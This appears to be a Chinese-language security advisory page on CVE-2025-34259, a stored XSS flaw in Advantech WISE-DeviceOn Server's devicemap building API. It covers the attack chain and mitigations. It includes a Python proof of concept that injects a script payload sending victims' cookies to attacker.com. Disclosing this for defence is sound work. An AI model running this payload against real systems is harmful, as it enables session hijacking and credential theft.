IPBUF安全漏洞报告
English
CVE-2025-34259 CVSS 5.4 中危

CVE-2025-34259 Advantech WISE-DeviceOn Server存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34259
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Advantech WISE-DeviceOn Server

相关标签

存储型XSSCVE-2025-34259AdvantechWISE-DeviceOnIoT工业物联网会话劫持Web安全

漏洞概述

CVE-2025-34259是Advantech WISE-DeviceOn Server中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于设备地图构建功能中,具体位于/rmm/v1/devicemap/building API端点。当经过身份验证的用户创建设备地图条目时,name参数的值会被存储到数据库中,但在后续的地图列表UI展示过程中,该值未经HTML转义直接渲染到页面中。攻击者可以利用此漏洞在name参数中注入恶意JavaScript脚本,当其他用户查看或交互受影响的地图条目时,恶意脚本会在其浏览器上下文中执行。这可能导致会话劫持、凭据窃取、恶意操作执行等严重安全问题。鉴于该漏洞需要低权限用户身份和用户交互才能利用,但其影响范围涵盖所有查看受影响地图条目的用户,因此被评定为中危级别(CVSS 5.4)。

技术细节

漏洞根源在于Advantech WISE-DeviceOn Server的Web应用程序在处理用户输入时缺乏适当的输入验证和输出编码。具体攻击流程如下:1) 攻击者首先需要获取系统的低权限用户账户;2) 通过API向/rmm/v1/devicemap/building端点发送请求,在name参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>;3) 服务器将该恶意payload未经转义直接存储到数据库中;4) 当其他用户访问设备地图列表页面时,服务器从数据库读取包含恶意代码的地图条目名称;5) 页面渲染时,未转义的内容作为HTML输出,浏览器将其解析为可执行脚本;6) 恶意脚本在受害者浏览器中执行,可窃取会话Cookie、执行未经授权的操作或进行进一步的攻击。由于是存储型XSS,恶意代码会持久存在于系统中,所有访问该功能页面的用户都会受到影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统为Advantech WISE-DeviceOn Server,并发现存在/rmm/v1/devicemap/building端点
STEP 2
步骤2:账户获取
攻击者通过社会工程、凭据填充或其他方式获取系统的低权限用户账户
STEP 3
步骤3:恶意payload注入
使用获取的账户登录系统,向/devicemap/building API发送包含XSS payload的请求,payload被存储到数据库
STEP 4
步骤4:等待受害者访问
攻击者等待其他用户(管理员或普通用户)访问设备地图列表或相关功能页面
STEP 5
步骤5:XSS执行
受害者浏览器加载包含恶意代码的页面时,未转义的JavaScript代码被执行
STEP 6
步骤6:会话劫持/数据窃取
恶意脚本窃取用户Cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 7
步骤7:权限提升/进一步攻击
攻击者利用窃取的会话信息执行未经授权的操作,可能包括权限提升或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-34259 PoC - Stored XSS in Advantech WISE-DeviceOn Server # Target: /rmm/v1/devicemap/building endpoint TARGET_URL = "http://target-server/rmm/v1/devicemap/building" LOGIN_URL = "http://target-server/rmm/v1/auth/login" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def exploit(): """ Exploit steps: 1. Authenticate with low-privilege account 2. Send malicious payload to /rmm/v1/devicemap/building 3. Payload is stored without sanitization 4. When other users view the map, XSS executes """ # Step 1: Login with low-privilege credentials login_data = { "username": "attacker_account", "password": "attacker_password" } session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via devicemap/building endpoint exploit_data = { "name": XSS_PAYLOAD, "description": "Test building entry", "location": { "lat": 0.0, "lng": 0.0 } } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {session.cookies.get('token')}" } response = session.post(TARGET_URL, json=exploit_data, headers=headers) if response.status_code in [200, 201]: print("[+] XSS payload injected successfully") print(f"[+] Payload will execute when users view the map list") return True else: print(f"[-] Injection failed: {response.status_code}") return False if __name__ == "__main__": exploit()

影响范围

WISE-DeviceOn Server < 5.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制/devicemap/building端点的访问权限,仅允许受信任的管理员账户使用该功能;2) 在Web应用防火墙(WAF)层面添加XSS防护规则,对包含script标签和JavaScript事件的输入进行拦截;3) 临时禁用设备地图构建功能的UI界面;4) 通知用户不要点击来源不明的设备地图链接;5) 加强会话管理,使用HttpOnly和Secure标志保护Cookie;6) 实施严格的访问控制列表(ACL)确保低权限用户无法访问敏感功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表